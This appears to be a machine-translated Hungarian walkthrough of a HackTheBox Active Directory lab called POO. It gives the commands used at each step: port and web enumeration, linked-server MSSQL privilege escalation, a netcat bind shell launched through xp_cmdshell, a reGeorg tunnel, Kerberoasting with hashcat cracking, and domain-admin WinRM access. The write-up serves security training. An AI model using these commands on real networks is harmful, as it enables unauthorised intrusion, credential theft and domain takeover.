Ebben a cikkben nem csak egy gép, hanem egy egész minilaboratórium áthaladását elemezzük a helyszínről
Ahogy a leírásban szerepel, a POO-t úgy tervezték, hogy tesztelje a képességeket a támadások minden szakaszában egy kis Active Directory környezetben. A cél egy elérhető gazdagép veszélyeztetése, a jogosultságok kiterjesztése, és végül a teljes tartomány veszélyeztetése azáltal, hogy a folyamat során 5 jelzőt gyűjtenek össze.
A kapcsolat a laboratóriummal VPN-en keresztül történik. Javasoljuk, hogy ne csatlakozzon működő számítógépről vagy olyan gazdagépről, ahol fontos adatok vannak az Ön számára, mivel olyanokkal kerülsz privát hálózatba, akik tudnak valamit az információbiztonságról 🙂
szervezeti információk
Azért hoztam létre, hogy új cikkekről, szoftverekről és egyéb információkról tájékozódhasson
Minden információ kizárólag oktatási célokat szolgál. A jelen dokumentum szerzője nem vállal felelősséget a jelen dokumentum tanulmányozása során szerzett ismeretek és módszerek használatából eredő károkért.
Intro
Ez a végjáték két gépből áll, és 5 zászlót tartalmaz.
Meg van adva az elérhető gazdagép leírása és címe is.
Kezdjük!
Felderítő zászló
Ennek a gépnek 10.13.38.11 IP-címe van, amit hozzáadok az /etc/hosts mappához.
10.13.38.11 poo.htb
Az első lépés a nyitott portok vizsgálata. Mivel az nmap-pal az összes port átvizsgálása sok időt vesz igénybe, először masscan-el fogom megtenni. Az összes TCP és UDP portot átvizsgáljuk a tun0 interfészről 500pp sebességgel.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Most, hogy részletesebb információkat kapjunk a portokon futó szolgáltatásokról, futtassunk egy vizsgálatot az -A kapcsolóval.
nmap -A poo.htb -p80,1433
Így rendelkezünk IIS és MSSQL szolgáltatásainkkal. Ebben az esetben megtudjuk a tartomány és a számítógép valódi DNS-nevét. A webszerveren az IIS főoldala fogad minket.
Ismételjük át a könyvtárakat. Én ehhez a gobustert használom. A paraméterekben megadjuk a streamek számát 128 (-t), URL-t (-u), szótárt (-w) és a minket érdeklő kiterjesztéseket (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Így van HTTP hitelesítésünk a /admin könyvtárhoz, valamint a .DS_Store asztali szolgáltatás tárolási fájlja. A .DS_Store olyan fájlok, amelyek egy mappához tartozó felhasználói beállításokat tárolják, például a fájlok listáját, az ikonok helyét, a kiválasztott háttérképet. Egy ilyen fájl a webfejlesztők webszerver-könyvtárába kerülhet. Így információt kapunk a címtár tartalmáról. Ehhez használhatja
python3 dsstore_crawler.py -i http://poo.htb/
Megkapjuk a könyvtár tartalmát. A legérdekesebb itt a /dev könyvtár, amelyből két ágban láthatjuk a forrásokat és a db fájlokat. De használhatjuk a fájl- és könyvtárnevek első 6 karakterét, ha a szolgáltatás sebezhető az IIS ShortName számára. Ezt a sérülékenységet a használatával ellenőrizheti
És találunk egy szöveges fájlt, amely "poo_co"-val kezdődik. Nem tudtam, hogy mit tegyek ezután, egyszerűen kiválogattam a könyvtárak szótárából az összes "co"-val kezdődő szót.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
És iteráld a wfuzz-szal.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
És találd meg a megfelelő szót! Megnézzük ezt a fájlt, elmentjük a hitelesítő adatokat (a DBNAME paraméter alapján MSSQL-ből származnak).
Átadjuk a zászlót, és 20%-ot lépünk előre.
Huh zászló
MSSQL-hez csatlakozunk, én DBeavert használok.
Ebben az adatbázisban nem találunk semmi érdekeset, hozzunk létre egy SQL-szerkesztőt, és nézzük meg, mik a felhasználók.
SELECT name FROM master..syslogins;
Két felhasználónk van. Vizsgáljuk meg kiváltságainkat.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Így nincsenek kiváltságok. Lássuk a linkelt szervereket, erről a technikáról írtam részletesen
SELECT * FROM master..sysservers;
Tehát találunk egy másik SQL Servert. Ellenőrizzük a parancsok végrehajtását ezen a szerveren az openquery() segítségével.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
És még lekérdezőfát is építhetünk.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
A helyzet az, hogy amikor kérést intézünk egy kapcsolt szerverhez, akkor a kérés egy másik felhasználó kontextusában hajtódik végre! Nézzük meg, milyen felhasználói környezetet futtatunk a kapcsolt szerveren.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
És most nézzük meg, milyen kontextusban hajtódik végre a linkelt szervertől a miénkhez érkezett kérés!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Így ez egy DBO-környezet, amelynek minden jogosultsággal rendelkeznie kell. Ellenőrizzük a jogosultságokat egy csatolt szervertől érkező kérés esetén.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Amint látja, minden kiváltságunk megvan! Hozzuk létre az adminunkat így. De nem engedik át őket az openquery-n, hanem az EXECUTE AT-n keresztül.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
És most csatlakozunk az új felhasználó hitelesítő adataihoz, figyeljük az új zászló adatbázist.
Átadjuk ezt a zászlót és megyünk tovább.
Backtrack zászló
Szerezzük meg a shellt MSSQL segítségével, én az mssqlclient-et használom az impacket csomagból.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Jelszavakat kell szereznünk, és az első dolog, amivel már találkoztunk, az az oldal. Így szükségünk van egy webszerver konfigurációra (nem lehet kényelmes shellt dobni, úgy tűnik, a tűzfal működik).
De a hozzáférés megtagadva. Bár az MSSQL-ből ki tudjuk olvasni a fájlt, csak tudnunk kell, hogy milyen programozási nyelvek vannak beállítva. És az MSSQL könyvtárban megtudjuk, hogy van Python.
Ekkor nem okoz gondot a web.config fájl elolvasása.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Ha megtalálta a hitelesítő adatokat, lépjen az /admin oldalra, és vegye fel a zászlót.
lábtartó zászló
Valójában a tűzfal használatából adódik némi kellemetlenség, de a hálózati beállításokat átnézve észrevesszük, hogy IPv6 protokoll is használatos!
Adja hozzá ezt a címet az /etc/hosts fájlhoz.
dead:babe::1001 poo6.htb
Vizsgáljuk meg újra a gazdagépet, de ezúttal IPv6-on keresztül.
A WinRM szolgáltatás pedig IPv6-on keresztül érhető el. Lépjünk kapcsolatba a talált hitelesítő adatokkal.
Az asztalon van egy zászló, add át.
P00d zászló
A felderítés után a házigazdán
setspn.exe -T intranet.poo -Q */*
Végezzük el a parancsot MSSQL-en keresztül.
Ily módon megkapjuk a p00_hr és p00_adm felhasználók SPN-jét, ami azt jelenti, hogy ki vannak téve egy olyan támadásnak, mint például a Kerberoasting. Röviden: megkaphatjuk a jelszavaik hash-ét.
Először is be kell szereznie egy stabil shellt az MSSQL felhasználó nevében. De mivel korlátozottak a hozzáférésünk, csak a 80-as és az 1433-as portokon keresztül tudunk kapcsolatot teremteni a gazdagéppel. De lehetséges a forgalom alagútvezetése a 80-as porton keresztül! Erre használjuk
De amikor megpróbáljuk elérni, 404-es hibát kapunk, ami azt jelenti, hogy az *.aspx fájlok nem futnak le. Az ilyen kiterjesztésű fájlok futtatásához telepítse az ASP.NET 4.5-öt az alábbiak szerint.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
És most, amikor elérjük a tunnel.aspx fájlt, azt a választ kapjuk, hogy minden készen áll.
Indítsuk el az alkalmazás kliens részét, amely a forgalmat továbbítja. Az 5432-es portról az összes forgalmat a szerverre továbbítjuk.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
És proxyláncokat használunk bármely alkalmazás forgalmának a proxyn keresztül történő elküldésére. Adjuk hozzá ezt a proxyt az /etc/proxychains.conf konfigurációs fájlhoz.
Most töltsük fel a programot a szerverre
Most az MSSQL-en keresztül elindítjuk a figyelőt.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
És a proxyn keresztül csatlakozunk.
proxychains rlwrap nc poo.htb 4321
És vegyük a hash-eket.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Ezután ismételnie kell ezeket a hash-eket. Mivel a rockyounak nem volt jelszóadat-szótára, a Seclists-ben található ÖSSZES jelszószótárat használtam. A felsoroláshoz hashcatet használjuk.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
És mindkét jelszót megtaláljuk, az elsőt a dutch_passwordlist.txt szótárban, a másodikat pedig a Keyboard-Combinations.txt fájlban.
És így van három felhasználónk, megyünk a tartományvezérlőhöz. Először megtudjuk a címét.
Remek, megtanultuk a tartományvezérlő IP-címét. Nézzük meg a domain összes felhasználóját, valamint azt, hogy melyikük adminisztrátor. A szkript letöltéséhez információkért PowerView.ps1. Ezután az evil-winrm segítségével fogunk csatlakozni, a -s paraméterben megadva a szkriptet tartalmazó könyvtárat. Ezután töltse be a PowerView szkriptet.
Mostantól hozzáférünk minden funkciójához. A p00_adm felhasználó privilegizált felhasználónak tűnik, ezért a környezetében fogunk dolgozni. Hozzon létre egy PSCredential objektumot ehhez a felhasználóhoz.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Most minden Powershell-parancs, ahol megadjuk a Creds-t, a p00_adm nevében kerül végrehajtásra. Jelentsük meg a felhasználók listáját és az AdminCount attribútumot.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Így felhasználónk valóban kiváltságos. Lássuk, milyen csoportokhoz tartozik.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Végül megerősítjük, hogy a felhasználó domain rendszergazda. Ez feljogosítja a távoli bejelentkezésre a tartományvezérlőre. Próbáljunk meg bejelentkezni a WinRM-mel az alagútunk segítségével. Megzavartak a reGeorg által az evil-winrm használatakor kiadott hibák.
Akkor használunk egy másikat, könnyebbet,
Megpróbálunk kapcsolódni, és benne vagyunk a rendszerben.
De nincs zászló. Ezután nézze meg a felhasználót, és ellenőrizze az asztalokat.
Az mr3ks-nál megtaláljuk a zászlót és a laboratórium 100%-ban elkészült.
Ez minden. Visszajelzésként írja meg kommentben, hogy tanult-e valami újat ebből a cikkből, és hasznos volt-e az Ön számára.
Csatlakozhat hozzánk a
Forrás: will.com